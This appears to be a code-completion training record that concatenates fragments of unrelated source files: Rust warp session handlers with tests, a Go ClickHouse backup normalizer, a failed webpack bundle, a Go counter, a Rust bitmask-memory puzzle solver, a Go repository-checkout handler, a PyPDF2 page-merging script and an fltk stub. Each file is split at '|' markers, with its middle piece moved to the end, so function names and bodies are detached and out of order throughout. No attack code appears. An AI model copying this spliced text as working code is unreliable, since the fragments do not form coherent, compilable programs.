) -> impl Filter<Extract = (impl warp::Reply,), Error = warp::Rejection> + Clone {
warp::path!("session" / "project" / Uuid)
.map(ProjectId)
.and(warp::post())
.and(authenticate(ctx.clone()))
.and(warp::any().map(move || ctx.clone()))
.and_then(session_project)
}
// TODO: move into handler once async closures are available?
async fn session_project<C: SimpleContext>(
project: ProjectId,
_session: C::Session,
ctx: C, | }
// TODO: /view instead of /session/view
/// Sets the active view of the session.
///
/// # Example
///
/// ```text
/// POST /session/view
/// Authorization: Bearer fc9b5dc2-a1eb-400f-aeed-a7845d9935c9
///
/// {
/// "spatialReference": "",
/// "boundingBox": {
/// "lowerLeftCoordinate": { "x": 0, "y": 0 },
/// "upperRightCoordinate": { "x": 1, "y": 1 }
/// },
/// "timeInterval": {
/// "start": 0,
/// "end": 1
/// }
/// }
/// ```
///
/// # Errors
///
/// This call fails if the session is invalid.
pub(crate) fn session_view_handler<C: SimpleContext>(
ctx: C,
) -> impl Filter<Extract = (impl warp::Reply,), Error = warp::Rejection> + Clone {
warp::path!("session" / "view")
.and(warp::post())
.and(authenticate(ctx.clone()))
.and(warp::any().map(move || ctx.clone()))
.and(warp::body::json())
.and_then(session_view)
}
// TODO: move into handler once async closures are available?
async fn session_view<C: SimpleContext>(
_session: C::Session,
ctx: C,
view: STRectangle,
) -> Result<impl warp::Reply, warp::Rejection> {
ctx.default_session_ref_mut().await.view = Some(view);
Ok(warp::reply())
}
#[cfg(test)]
mod tests {
use geoengine_datatypes::spatial_reference::SpatialReferenceOption;
use warp::http::Response;
use warp::hyper::body::Bytes;
use crate::{
contexts::{InMemoryContext, SimpleSession},
handlers::handle_rejection,
util::tests::{check_allowed_http_methods, create_project_helper},
};
use super::*;
#[tokio::test]
async fn session() {
let ctx = InMemoryContext::default();
let session = ctx.default_session_ref().await;
let res = warp::test::request()
.method("GET")
.path("/session")
.header(
"Authorization",
format!("Bearer {}", session.id().to_string()),
)
.reply(&session_handler(ctx.clone()).recover(handle_rejection))
.await;
let body = std::str::from_utf8(res.body()).unwrap();
let deserialized_session: SimpleSession = serde_json::from_str(body).unwrap();
assert_eq!(*session, deserialized_session);
}
#[tokio::test]
async fn session_view_project() {
let ctx = InMemoryContext::default();
let (session, project) = create_project_helper(&ctx).await;
let res = warp::test::request()
.method("POST")
.path(&format!("/session/project/{}", project.to_string()))
.header(
"Authorization",
format!("Bearer {}", session.id().to_string()),
)
.reply(&session_project_handler(ctx.clone()).recover(handle_rejection))
.await;
assert_eq!(res.status(), 200);
assert_eq!(ctx.default_session_ref().await.project(), Some(project));
let rect =
STRectangle::new_unchecked(SpatialReferenceOption::Unreferenced, 0., 0., 1., 1., 0, 1);
let res = warp::test::request()
.method("POST")
.header("Content-Length", "0")
.path("/session/view")
.header(
"Authorization",
format!("Bearer {}", session.id().to_string()),
)
.json(&rect)
.reply(&session_view_handler(ctx.clone()).recover(handle_rejection))
.await;
assert_eq!(res.status(), 200);
assert_eq!(ctx.default_session_ref().await.view(), Some(rect).as_ref());
}
async fn anonymous_test_helper(method: &str) -> Response<Bytes> {
let ctx = InMemoryContext::default();
warp::test::request()
.method(method)
.path("/anonymous")
.reply(&anonymous_handler(ctx).recover(handle_rejection))
.await
}
#[tokio::test]
async fn anonymous() {
let res = anonymous_test_helper("POST").await;
assert_eq!(res.status(), 200);
let body = std::str::from_utf8(res.body()).unwrap();
let _session = serde_json::from_str::<SimpleSession>(body).unwrap();
}
#[tokio::test]
async fn anonymous_invalid_method() {
check_allowed_http_methods(anonymous_test_helper, &["POST"]).await;
}
} | ) -> Result<impl warp::Reply, warp::Rejection> {
ctx.default_session_ref_mut().await.project = Some(project);
Ok(warp::reply()) |
normalizer.go | // Copyright 2019 Altinity Ltd and/or its affiliates. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package backup
import (
"context"
"errors"
chopmodel "github.com/radondb/clickhouse-operator/pkg/model"
"strings"
v1 "k8s.io/api/core/v1"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
kube "k8s.io/client-go/kubernetes"
log "github.com/radondb/clickhouse-operator/pkg/announcer"
chiV1 "github.com/radondb/clickhouse-operator/pkg/apis/clickhouse.radondb.com/v1"
chopclientset "github.com/radondb/clickhouse-operator/pkg/client/clientset/versioned"
)
// Normalizer specifies structures normalizer
type Normalizer struct {
kubeClient kube.Interface
chb *chiV1.ClickHouseBackup
chopClient chopclientset.Interface
}
// NewNormalizer creates new normalizer
func NewNormalizer(kubeClient kube.Interface, chopClient chopclientset.Interface) *Normalizer {
return &Normalizer{
kubeClient: kubeClient,
chopClient: chopClient,
}
}
// CreateTemplatedCHB produces ready-to-use CHB object
func (n *Normalizer) CreateTemplatedCHB(chb *chiV1.ClickHouseBackup) (*chiV1.ClickHouseBackup, error) {
if chb == nil {
chb = new(chiV1.ClickHouseBackup)
}
n.chb = chb.DeepCopy()
return n.normalize()
}
// normalize Returns normalized CHB
func (n *Normalizer) normalize() (*chiV1.ClickHouseBackup, error) {
var err error
// Walk over chbSpec datatype fields
n.chb.Spec.CHIName = n.normalizeCHIName(n.chb.Spec.CHIName)
n.chb.Spec.ClusterName = n.normalizeClusterName(n.chb.Spec.ClusterName)
n.chb.Spec.Namespace = n.normalizeNamespace(n.chb.Spec.Namespace)
n.chb.Spec.TCPPort = n.normalizeTCPPort(n.chb.Spec.TCPPort)
n.chb.Spec.Image = n.normalizeImage(n.chb.Spec.Image)
n.chb.Spec.ImagePullPolicy = n.normalizeImagePullPolicy(n.chb.Spec.ImagePullPolicy)
n.chb.Spec.Backup = n.normalizeBackup(n.chb.Spec.Backup)
n.chb.Spec.Restore = n.normalizeRestore(n.chb.Spec.Restore)
| if err != nil {
return nil, err
}
n.chb.Cluster = cluster
return n.chb, err
}
// normalizeCHIName normalizes .spec.chiName
func (n *Normalizer) normalizeCHIName(chiName string) string {
return chiName
}
// normalizeClusterName normalizes .spec.clusterName
func (n *Normalizer) normalizeClusterName(clusterName string) string {
return clusterName
}
// normalizeNamespace normalizes .spec.namespace
func (n *Normalizer) normalizeNamespace(namespace string) string {
if namespace == "" {
return v1.NamespaceDefault
}
return namespace
}
// normalizeTCPPort normalizes .spec.tcpPort
func (n *Normalizer) normalizeTCPPort(tcpPort int32) int32 {
if tcpPort < 1 || tcpPort > 65535 {
return chDefaultTCPPortNumber
}
return tcpPort
}
// normalizeImage normalizes .spec.image
func (n *Normalizer) normalizeImage(image string) string {
if image == "" {
return defaultClickHouseClientDockerImage
}
return image
}
// normalizeImagePullPolicy normalizes .spec.imagePullPolicy
func (n *Normalizer) normalizeImagePullPolicy(imagePullPolicy string) string {
if strings.EqualFold(imagePullPolicy, imagePullPolicyPullNever) ||
strings.EqualFold(imagePullPolicy, imagePullPolicyIfNotPresent) ||
strings.EqualFold(imagePullPolicy, imagePullPolicyAlways) {
// It is bool, use as it is
return imagePullPolicy
}
return imagePullPolicyAlways
}
// normalizeBackup normalizes .spec.backupConfig
func (n *Normalizer) normalizeBackup(backup *chiV1.BackupConfig) *chiV1.BackupConfig {
if backup.IsEmpty() {
return backup
}
backup.Schedule = n.normalizeBackupSchedule(backup.Schedule)
if backup.Schedule != "" {
backup.Kind = chiV1.ClickHouseBackupKindSchedule
}
backup.Kind = n.normalizeBackupKind(backup.Kind)
return backup
}
// normalizeBackupKind normalizes .spec.backupConfig.kind
func (n *Normalizer) normalizeBackupKind(kind string) string {
if strings.EqualFold(kind, "") {
return kind
}
if strings.EqualFold(kind, chiV1.ClickHouseBackupKindSingle) || strings.EqualFold(kind, chiV1.ClickHouseBackupKindSchedule) {
return kind
}
return chiV1.ClickHouseBackupKindSingle
}
// normalizeBackupSchedule normalizes .spec.backupConfig.schedule
func (n *Normalizer) normalizeBackupSchedule(schedule string) string {
// TODO
return schedule
}
// normalizeRestore normalizes .spec.restoreConfig
func (n *Normalizer) normalizeRestore(restore *chiV1.RestoreConfig) *chiV1.RestoreConfig {
if restore.IsEmpty() {
return restore
}
restore.BackupName = n.normalizeRestoreBackupName(restore.BackupName)
return restore
}
// normalizeRestoreBackupName normalizes .spec.restoreConfig.backupName
func (n *Normalizer) normalizeRestoreBackupName(backupName string) string {
return backupName
}
// normalizeCluster normalizes .spec.cluster
func (n *Normalizer) normalizeCluster(cluster *chiV1.ChiCluster) (*chiV1.ChiCluster, error) {
if cluster != nil && cluster.Name == n.chb.Spec.ClusterName && cluster.CHI.Name == n.chb.Spec.CHIName {
return cluster, nil
}
log.V(1).M(n.chb).F().Info("namespace: %v, chiName: %v", n.chb.Spec.Namespace, n.chb.Spec.CHIName)
chi, err := n.chopClient.ClickhouseV1().ClickHouseInstallations(n.chb.Spec.Namespace).Get(context.TODO(), n.chb.Spec.CHIName, metav1.GetOptions{})
if err != nil {
log.V(1).M(n.chb).F().Error("ERROR get chi %v:%v failed", n.chb.Spec.CHIName, n.chb.Spec.Namespace)
return nil, err
}
normalizer := chopmodel.NewNormalizer(n.kubeClient)
chi, err = normalizer.CreateTemplatedCHI(chi)
if err != nil {
log.V(1).M(n.chb).F().Error("FAILED to normalize CHI : %v", err)
return nil, err
}
// check clusterName
hasCluster := false
for index := range chi.Spec.Configuration.Clusters {
cluster = chi.Spec.Configuration.Clusters[index]
log.V(1).M(n.chb).F().Info("%v : %v", cluster.Name, n.chb.Spec.ClusterName)
if strings.EqualFold(cluster.Name, n.chb.Spec.ClusterName) {
hasCluster = true
break
}
}
if !hasCluster {
return nil, errors.New("cluster specified does not exist")
}
return cluster, nil
} | cluster, err := n.normalizeCluster(n.chb.Cluster)
|
museum.js | /******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId]) {
/******/ return installedModules[moduleId].exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ i: moduleId,
/******/ l: false,
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ // Flag the module as loaded
/******/ module.l = true;
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/******/
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/
/******/ // define getter function for harmony exports
/******/ __webpack_require__.d = function(exports, name, getter) {
/******/ if(!__webpack_require__.o(exports, name)) {
/******/ Object.defineProperty(exports, name, { enumerable: true, get: getter });
/******/ }
/******/ };
/******/
/******/ // define __esModule on exports
/******/ __webpack_require__.r = function(exports) {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/
/******/ // create a fake namespace object
/******/ // mode & 1: value is a module id, require it
/******/ // mode & 2: merge all properties of value into the ns
/******/ // mode & 4: return value when already ns object
/******/ // mode & 8|1: behave like require
/******/ __webpack_require__.t = function(value, mode) {
/******/ if(mode & 1) value = __webpack_require__(value);
/******/ if(mode & 8) return value;
/******/ if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value;
/******/ var ns = Object.create(null);
/******/ __webpack_require__.r(ns);
/******/ Object.defineProperty(ns, 'default', { enumerable: true, value: value });
/******/ if(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key));
/******/ return ns;
/******/ };
/******/
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = function(module) {
/******/ var getter = module && module.__esModule ?
/******/ function getDefault() { return module['default']; } :
/******/ function getModuleExports() { return module; };
/******/ __webpack_require__.d(getter, 'a', getter);
/******/ return getter;
/******/ };
/******/
/******/ // Object.prototype.hasOwnProperty.call
/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "/";
/******/ | /******/ return __webpack_require__(__webpack_require__.s = 2);
/******/ })
/************************************************************************/
/******/ ({
/***/ "./resources/js/museum.js":
/*!********************************!*\
!*** ./resources/js/museum.js ***!
\********************************/
/*! no exports provided */
/***/ (function(module, exports) {
throw new Error("Module build failed (from ./node_modules/babel-loader/lib/index.js):\nError: ENOENT: no such file or directory, open 'C:\\Users\\Office\\Documents\\Jenny\\Employee\\resources\\js\\museum.js'");
/***/ }),
/***/ 2:
/*!**************************************!*\
!*** multi ./resources/js/museum.js ***!
\**************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
module.exports = __webpack_require__(/*! C:\Users\Office\Documents\Jenny\Employee\resources\js\museum.js */"./resources/js/museum.js");
/***/ })
/******/ }); | /******/
/******/ // Load entry module and return exports |
counterid.go | package utils
import (
"sync"
"sync/atomic"
)
type CounterID struct {
lock sync.RWMutex
counters map[string]*int64
}
func NewCounterID() *CounterID |
func (c *CounterID) Inc(v string) {
c.Add(v, 1)
}
func (c *CounterID) Add(v string, delta int64) {
found := false
c.lock.RLock()
if counter, ok := c.counters[v]; ok {
atomic.AddInt64(counter, delta)
found = true
}
c.lock.RUnlock()
if found {
return
}
c.lock.Lock()
if _, ok := c.counters[v]; !ok {
c.counters[v] = new(int64)
}
atomic.AddInt64(c.counters[v], delta)
c.lock.Unlock()
}
func (c *CounterID) Clone() map[string]int64 {
countersValues := make(map[string]int64)
c.lock.RLock()
for cnter := range c.counters {
cv := atomic.LoadInt64(c.counters[cnter])
if cv != 0 {
countersValues[cnter] = cv
}
}
c.lock.RUnlock()
return countersValues
}
| {
return &CounterID{counters: make(map[string]*int64)}
} |
mask_cpu.rs | use std::{fmt, u64};
use anyhow::{Context, Result};
const MASK_WIDTH: usize = 36;
#[derive(Debug, Default, Clone, Copy, PartialEq)]
pub struct Mask {
ones: u64,
zeros: u64,
}
impl Mask {
pub fn apply(&self, x: u64) -> u64 {
let x1 = x | self.ones;
let x01 = !x1 | self.zeros;
!x01
}
fn unset(&self) -> u64 {
!(self.ones | self.zeros)
}
}
pub fn parse_mask(input: &str) -> Result<Mask> {
let mut ones = 0u64;
let mut zeros = 0u64;
for (idx, c) in input.chars().enumerate() {
let set_bit = 1u64 << (MASK_WIDTH - idx - 1);
match c {
'0' => zeros |= set_bit,
'1' => ones |= set_bit,
'X' => continue,
_ => anyhow::bail!("mask can not include char: {:?}", c),
}
}
Ok(Mask { ones, zeros })
}
fn parse_floating(input: &str) -> Result<FloatingAddr> {
let mut start = 0u64;
let mut float = 0u64;
for (idx, c) in input.chars().enumerate() {
let set_bit = 1u64 << (MASK_WIDTH - idx - 1);
match c {
'0' => continue,
'1' => start |= set_bit,
'X' => float |= set_bit,
_ => anyhow::bail!("addr can not include char: {:?}", c),
}
}
Ok(FloatingAddr {
start,
blackout: !float,
})
}
#[derive(Debug, Default, Clone)]
pub struct Memory {
tape: Vec<u64>,
}
impl Memory {
fn set(&mut self, idx: usize, value: u64) {
let req_size = idx + 1;
if req_size > self.tape.len() {
self.tape.resize(req_size, 0);
}
self.tape[idx] = value;
}
pub fn sum(&self) -> u64 {
self.tape.iter().sum()
}
}
enum Instruction {
SetMask(Mask),
SetValue(usize, u64),
}
fn parse_instruction(input: &str) -> Result<Instruction> {
const MASK_LEADER: &str = "mask = ";
const MEM_LEADER: &str = "mem[";
let instr = if input.starts_with(MASK_LEADER) {
let mask_str = &input[MASK_LEADER.len()..];
let mask = parse_mask(mask_str)?;
Instruction::SetMask(mask)
} else if input.starts_with(MEM_LEADER) {
let end_addr = input
.find("]")
.ok_or_else(|| anyhow::anyhow!("mem instruction was malformed: {:?}", input))?;
let addr_text = &input[MEM_LEADER.len()..end_addr];
let addr = addr_text
.parse::<usize>()
.with_context(|| format!("could not parse address: {:?}", input))?;
let value_text = &input[(end_addr + 4)..];
let value = value_text
.parse::<u64>()
.with_context(|| format!("could not parse value: {:?}", input))?;
Instruction::SetValue(addr, value)
} else {
anyhow::bail!("unknown instruction: {:?}", input);
};
Ok(instr)
}
pub struct Program(Vec<Instruction>);
impl Program {
pub fn parse(input: &str) -> Result<Program> {
let instrs = input
.lines()
.map(|l| parse_instruction(l))
.collect::<Result<Vec<_>>>()?;
Ok(Program(instrs))
}
}
#[derive(Clone, Copy, PartialEq)]
struct FloatingAddr {
start: u64,
blackout: u64,
}
impl FloatingAddr {
#[inline(always)]
fn float(self) -> u64 {
!self.blackout & 0xF_FFFF_FFFF
}
fn max_value(self) -> u64 {
log::trace!(
"start: {:0b} blackout: {:0b}, float: {:0b}",
self.start,
self.blackout,
self.float()
);
self.start | self.float()
}
fn contains(self, addr: u64) -> bool {
self.blackout & addr == self.start
}
fn total_addrs(self) -> u64 {
let fbits = self.float().count_ones() as u64;
1 << fbits
}
fn union(self, other: FloatingAddr) -> FloatingAddr {
let new_float = self.float() | other.float() | (self.start ^ other.start);
FloatingAddr {
start: self.start & other.start,
blackout: !new_float,
}
}
fn intersection(self, other: FloatingAddr) -> Option<FloatingAddr> {
let fixed_lhs = self.start & other.blackout;
let fixed_rhs = other.start & self.blackout;
if (fixed_lhs ^ fixed_rhs) > 0 {
return None;
}
Some(FloatingAddr {
start: self.start | other.start,
blackout: self.blackout | other.blackout,
})
}
}
impl fmt::Debug for FloatingAddr {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
let float = self.float();
for b in 0..MASK_WIDTH {
if (float >> (MASK_WIDTH - b - 1)) & 1 == 1 {
write!(f, "X")?;
} else {
let mb = (self.start >> (MASK_WIDTH - b - 1)) & 1;
write!(f, "{}", mb)?;
}
}
Ok(())
}
}
#[derive(Debug)]
struct FloatSet {
addr: FloatingAddr,
value: u64,
}
pub fn execute_v4(p: &Program) -> Result<u64> {
let vfs = translate_addr(p.0.as_slice());
let mut total = 0;
let mut seen = None;
for x in &vfs {
let (new_addrs, new_seen) = count_fresh_addrs(x.addr, seen);
total += new_addrs * x.value;
seen = Some(new_seen)
}
log::debug!("sum: {:?}", total);
Ok(total)
}
fn count_fresh_addrs(addr: FloatingAddr, seen: Option<FloatingAddr>) -> (u64, FloatingAddr) {
log::trace!(
"Already Written: {:?} (n={})",
seen,
seen.map(|s| s.total_addrs()).unwrap_or(0)
);
let intersection = seen.and_then(|s| s.intersection(addr));
let intersection_count = intersection.map(|s| s.total_addrs()).unwrap_or(0);
log::trace!(
"Intersection: {:?} (n={})",
intersection,
intersection_count
);
let new_addrs = addr.total_addrs() - intersection_count;
log::trace!("New Addresses: {:?} (n={})", addr, new_addrs);
let new_seen = seen.map(|s| s.union(addr)).unwrap_or(addr);
(new_addrs, new_seen)
}
pub fn execute_v2(p: &Program) -> Result<u64> {
let vfs = translate_addr(p.0.as_slice());
let mut touched_addrs = 0;
for x in &vfs {
let addrs = x.addr.total_addrs();
log::trace!("{:?} (n={})", x, addrs);
touched_addrs += addrs;
}
let max_addr: u64 = vfs
.iter()
.map(|fs| {
let mv = fs.addr.max_value();
log::trace!("addr: {:?}, max {:?}", fs.addr, mv);
mv
})
.max()
.ok_or_else(|| anyhow::anyhow!("empty program"))?; |
let mut sum = 0;
for addr in 0..max_addr + 1 {
'instr: for instr in &vfs {
if instr.addr.contains(addr) {
sum += instr.value;
break 'instr;
}
}
}
log::debug!("sum: {:?}", sum);
Ok(sum)
}
fn translate_addr(program: &[Instruction]) -> Vec<FloatSet> {
let mut mask = Mask::default();
let mut float_program = Vec::with_capacity(program.len());
for instr in program {
match instr {
Instruction::SetMask(m) => mask = *m,
Instruction::SetValue(a, v) => {
let a = *a as u64 | mask.ones;
let blackout = !mask.unset();
let addr = FloatingAddr {
start: a & blackout,
blackout,
};
float_program.push(FloatSet { addr, value: *v })
}
}
}
float_program.reverse();
float_program
}
#[derive(Default)]
pub struct MaskCpuV1 {
mask: Mask,
mem: Memory,
}
impl MaskCpuV1 {
pub fn program(&mut self, program: &Program) -> u64 {
for instr in &program.0 {
self.run(instr)
}
self.mem.sum()
}
fn run(&mut self, instr: &Instruction) {
match instr {
Instruction::SetMask(m) => self.mask = *m,
Instruction::SetValue(idx, v) => self.mem.set(*idx, self.mask.apply(*v)),
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn parse_empty_mask() {
let mask = parse_mask("XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").unwrap();
assert_eq!(mask.ones, 0);
assert_eq!(mask.zeros, 0);
}
#[test]
fn parse_zero_small() {
let mask = parse_mask("XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX0").unwrap();
assert_eq!(mask.ones, 0);
assert_eq!(mask.zeros, 1);
}
#[test]
fn parse_one_small() {
let mask = parse_mask("XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX1").unwrap();
assert_eq!(mask.ones, 1);
assert_eq!(mask.zeros, 0);
}
#[test]
fn parse_zero_large() {
let mask = parse_mask("0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").unwrap();
assert_eq!(mask.ones, 0);
assert_eq!(mask.zeros, 34359738368);
}
#[test]
fn parse_mixed() {
let mask = parse_mask("XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX0X101X").unwrap();
assert_eq!(mask.ones, 10);
assert_eq!(mask.zeros, 36);
}
#[test]
fn example_text() {
let mask = parse_mask("XXXXXXXXXXXXXXXXXXXXXXXXXXXXX1XXXX0X").unwrap();
assert_eq!(mask.apply(11), 73);
assert_eq!(mask.apply(101), 101);
assert_eq!(mask.apply(0), 64);
}
fn check_union(a: &str, b: &str, e: &str) {
let a1 = parse_floating(a).unwrap();
let a2 = parse_floating(b).unwrap();
assert_eq!(a1.union(a2), parse_floating(e).unwrap());
}
fn check_intersection(a: &str, b: &str, e: Option<&str>) {
let a1 = parse_floating(a).unwrap();
let a2 = parse_floating(b).unwrap();
let e = e.map(|s| parse_floating(s).unwrap());
assert_eq!(a1.intersection(a2), e);
}
#[test]
fn union_empty() {
check_union(
"000000000000000000000000000000000000",
"000000000000000000000000000000000000",
"000000000000000000000000000000000000",
);
}
#[test]
fn union_same() {
check_union(
"000000000000000000000000000000001010",
"000000000000000000000000000000001010",
"000000000000000000000000000000001010",
);
}
#[test]
fn union_same_float() {
check_union(
"000000000000000000000000000000001X10",
"000000000000000000000000000000001X10",
"000000000000000000000000000000001X10",
);
}
#[test]
fn union_join() {
check_union(
"000000000000000000000000000000001X10",
"000000000000000000000000000000001X00",
"000000000000000000000000000000001XX0",
);
}
#[test]
fn union_float_override() {
check_union(
"000000000000000000000000000000001X10",
"000000000000000000000000000000001XXX",
"000000000000000000000000000000001XXX",
);
}
#[test]
fn intersection_empty() {
check_intersection(
"000000000000000000000000000000000000",
"000000000000000000000000000000000000",
Some("000000000000000000000000000000000000"),
);
}
#[test]
fn intersection_same() {
check_intersection(
"000000000000000000000000000000001010",
"000000000000000000000000000000001010",
Some("000000000000000000000000000000001010"),
);
}
#[test]
fn intersection_same_float() {
check_intersection(
"000000000000000000000000000000001X10",
"000000000000000000000000000000001X10",
Some("000000000000000000000000000000001X10"),
);
}
#[test]
fn intersection_join() {
check_intersection(
"000000000000000000000000000000001X10",
"000000000000000000000000000000001X00",
None,
);
}
#[test]
fn intersection_float_override() {
check_intersection(
"000000000000000000000000000000001X10",
"000000000000000000000000000000001XXX",
Some("000000000000000000000000000000001X10"),
);
}
#[test]
fn count_touched_addrs_zeros() {
let a = parse_floating("000000000000000000000000000000000000").unwrap();
assert_eq!(a.total_addrs(), 1)
}
#[test]
fn count_touched_addrs_one() {
let a = parse_floating("000000000000000000000000000000000001").unwrap();
assert_eq!(a.total_addrs(), 1)
}
#[test]
fn count_touched_addrs_random() {
let a = parse_floating("000000000100100001001110011001000001").unwrap();
assert_eq!(a.total_addrs(), 1)
}
#[test]
fn count_touched_addrs_single_float() {
let a = parse_floating("0000000001001000010X1110011001000001").unwrap();
assert_eq!(a.total_addrs(), 2)
}
#[test]
fn count_touched_addrs_double_float() {
let a = parse_floating("0000X00001001000010X1110011001000001").unwrap();
assert_eq!(a.total_addrs(), 4)
}
} |
log::debug!("max addr: {:?}", max_addr);
log::debug!("touched addrs: {:?}", touched_addrs); |
checkout.go | package handler
import (
"github.com/go-git/go-git/v5/plumbing"
"github.com/harbourrocks/harbour/pkg/harbourscm/common"
"github.com/harbourrocks/harbour/pkg/harbourscm/github"
"github.com/harbourrocks/harbour/pkg/harbourscm/worker"
"github.com/harbourrocks/harbour/pkg/httphelper"
"github.com/harbourrocks/harbour/pkg/logconfig"
"net/http"
"net/url"
)
type CheckoutRequestModel struct {
SCMId string `json:"scm_id"`
CallbackURL string `json:"callback_url"`
State string `json:"state"`
Commit string `json:"commit"`
}
type CheckoutHandler struct {
Github chan worker.GithubCheckoutTask
}
// Checkout clones the specified repository from a connected source control manager
func (h CheckoutHandler) Checkout(w http.ResponseWriter, r *http.Request) {
log := logconfig.GetLogReq(r)
requestModel := CheckoutRequestModel{}
err := httphelper.ReadRequest(r, w, &requestModel)
if err != nil {
w.WriteHeader(http.StatusBadRequest)
return
}
scmProvider, second, third := common.DecomposeRepositoryId(requestModel.SCMId)
if second == "" || third == "" |
_, err = url.Parse(requestModel.CallbackURL)
if err != nil {
log.WithField("callbackUrl", requestModel.CallbackURL).Warn("Invalid callback url")
w.WriteHeader(http.StatusBadRequest)
return
}
commitHash := plumbing.NewHash(requestModel.Commit)
switch scmProvider {
case "gh":
// test github connection
_, err := github.GenerateTokenForOrganization(r.Context(), second)
if err != nil {
w.WriteHeader(http.StatusBadRequest)
return
}
// queue task
h.Github <- worker.GithubCheckoutTask{
OrganizationLogin: second,
Repository: third,
CallbackUrl: requestModel.CallbackURL,
State: requestModel.State,
Commit: commitHash,
Ctx: r.Context(),
}
}
w.WriteHeader(http.StatusAccepted)
}
| {
log.Warn("Missing second and third of scmId")
w.WriteHeader(http.StatusBadRequest)
return
} |
pdf2pdfocr_multibackground.py | #!/usr/bin/env python3
##############################################################################
# Copyright (c) 2016: Leonardo Cardoso
# https://github.com/LeoFCardoso/pdf2pdfocr
##############################################################################
# Emulate pdftk multibackground operator
# $1 - first file (foreground)
# $2 - second file (background)
# $3 - output file
# User should pass correct parameters. There is no parameter check.
####
# Depends on PyPDF2
#
import datetime
import sys
from PyPDF2 import PdfFileWriter, PdfFileReader
__author__ = 'Leonardo F. Cardoso'
#
verbose_mode = False # Used for debug
def | (param):
try:
if verbose_mode:
tstamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')
print("[{0}] [DEBUG]\t{1}".format(tstamp, param))
except:
pass
output = PdfFileWriter()
# First file (image)
imagepdf = PdfFileReader(open(sys.argv[1], 'rb'), strict=False)
# Second file (text)
textpdf = PdfFileReader(open(sys.argv[2], 'rb'), strict=False)
# Copy pages to output with text
scale_tolerance = 0.001
for i in range(imagepdf.getNumPages()):
debug("Page: {0}".format(i + 1))
imagepage = imagepdf.getPage(i)
textpage = textpdf.getPage(i)
debug("Img (original): {0}".format(imagepage.mediaBox.upperRight))
debug("Text: {0}".format(textpage.mediaBox.upperRight))
# Handle rotation
rotate_angle = imagepage.get('/Rotate')
debug("Image page rotate angle is {0}".format(rotate_angle))
debug("Text page rotate angle is {0}".format(textpage.get('/Rotate')))
if rotate_angle is None:
rotate_angle = 0
#
image_page_x = imagepage.mediaBox.upperRight[0]
image_page_y = imagepage.mediaBox.upperRight[1]
# With rotated pages (90 or 270 degress), we have to switch x and y, to avoid wrong scale operation
if rotate_angle == 90 or rotate_angle == 270:
image_page_x = imagepage.mediaBox.upperRight[1]
image_page_y = imagepage.mediaBox.upperRight[0]
#
debug("Img (dimensions after rotation): {0}, {1}".format(image_page_x, image_page_y))
factor_x = textpage.mediaBox.upperRight[0] / image_page_x
factor_y = textpage.mediaBox.upperRight[1] / image_page_y
debug("Factors: {0}, {1}".format(factor_x, factor_y))
debug("Corrected Factors: {0}, {1}".format(factor_x - 1, factor_y - 1))
# Try to avoid unnecessary scale operation
if abs(factor_x - 1) > scale_tolerance or abs(factor_y - 1) > scale_tolerance:
debug("Scaling...")
imagepage.scale(float(factor_x), float(factor_y))
# imagepage stay on top
if rotate_angle == 0 or rotate_angle == 360:
debug("Merge simple")
# TODO very slow in some PDFs
textpage.mergePage(imagepage)
else:
debug("Merge rotated")
# Tested values for translation with 90 degrees
if rotate_angle == 90:
textpage.mergeRotatedTranslatedPage(imagepage, (-1 * rotate_angle), image_page_y / 2,
image_page_y / 2, expand=False)
# Tested values for translation with 180 degrees
if rotate_angle == 180:
textpage.mergeRotatedTranslatedPage(imagepage, (-1 * rotate_angle), image_page_x / 2,
image_page_y / 2, expand=False)
# Tested values for translation with 270 degrees
if rotate_angle == 270:
textpage.mergeRotatedTranslatedPage(imagepage, (-1 * rotate_angle), image_page_x / 2,
image_page_x / 2, expand=False)
#
textpage.compressContentStreams()
output.addPage(textpage)
#
with open(sys.argv[3], 'wb') as f:
output.write(f)
#
| debug |
main.rs | use fltk::{app::*, button::*, frame::*, window::*};
use quadoculars::LiveJson;
use serde::Deserialize;
use std::{env, path::PathBuf, thread};
#[derive(Debug, Clone, Copy)]
pub enum Message {
Increment,
Decrement,
}
#[derive(Debug, Deserialize)]
struct Btns {
btn_inc_label: String,
btn_inc_pos: Btnspos,
btn_dec_label: String,
btn_dec_pos: Btnspos,
}
